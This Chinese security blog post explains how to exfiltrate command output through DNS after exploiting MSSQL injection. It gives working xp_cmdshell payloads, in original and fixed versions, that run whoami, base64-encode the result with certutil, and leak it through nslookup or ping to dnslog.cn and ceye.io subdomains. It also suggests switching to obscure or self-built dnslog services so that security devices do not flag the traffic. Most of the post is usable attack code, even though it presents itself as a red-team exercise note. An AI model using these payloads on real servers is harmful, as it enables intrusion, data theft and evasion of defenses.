攻防演练期间常见的dnslog平台可能已被防火墙或安全设备给标识了,如:dig.pm、ceye.io、dnslog.cn等、可以尝试去找一些小众dnslog或自建dnslog。
0x01 前言
朋友@Sin在“对某系统实战练手”这篇文章中看到这种MSSQL注入DNS带外数据的利用方式,但是他在本地复现时遇到了一些问题,所以找我帮着给测试一下,正好闲着没事就看了一下,并在解决这个问题后给他写了这篇记录文。
0x02 正文
我们先来看下原作者给出的DNS带外数据命令行版,可以直接执行并通过dnslog接收命令回显。继续来分析一下这条命令的参数和实现的功能吧,cmd参数说明如下。
/v:使用 ! 作为分隔符启用延迟的环境变量。
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"
1、执行whoami命令写入到temp文件中,并使用certutil命令进行base64编码到temp2文件。
whoami > temp && certutil -encode temp temp2
findstr /L /V "CERTIFICATE" temp2 > temp3
cGVudGVzdC13aW4xMFxzaGFkb3c5DQo=.xhwls9.dnslog.cn
set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"
使用原作者给出的MSSQL注入DNS带外数据Payoad时出现了下图中的报错,笔者根据这个报错进行了一系列的测试,最终修改出以下可执行Payload,可以自己去对比一下它们之间的差别在哪。
修改之前:
exec master..xp_cmdshell "whoami>C:ProgramDatatemp%26%26certutil -encode C:ProgramDatatemp C:ProgramDatatemp2%26%26findstr /L /V ""CERTIFICATE"" C:ProgramDatatemp2>C:ProgramDatatemp3"; exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< C:ProgramDatatemp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!"""; exec master..xp_cmdshell "del ""C:ProgramDatatemp"" ""C:ProgramDatatemp2"" ""C:ProgramDatatemp3""";
修改之后:
exec master..xp_cmdshell 'whoami>C:ProgramDatatemp %26%26 certutil -encode C:ProgramDatatemp C:ProgramDatatemp1 %26%26 findstr /L /V "CERTIFICATE" C:ProgramDatatemp1>C:ProgramDatatemp2'; exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< C:ProgramDatatemp2 %26%26 set FINAL=!MYVAR!.gnomur.dnslog.cn %26%26 ping !FINAL!"""; exec master..xp_cmdshell 'del "C:ProgramDatatemp*"';
0x03 注意事项
CMD命令行下执行时直接用&&连接即可,而在URL提交时必须将&&用Urlencode进行编码;
本文作者:潇湘信安
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/184293.html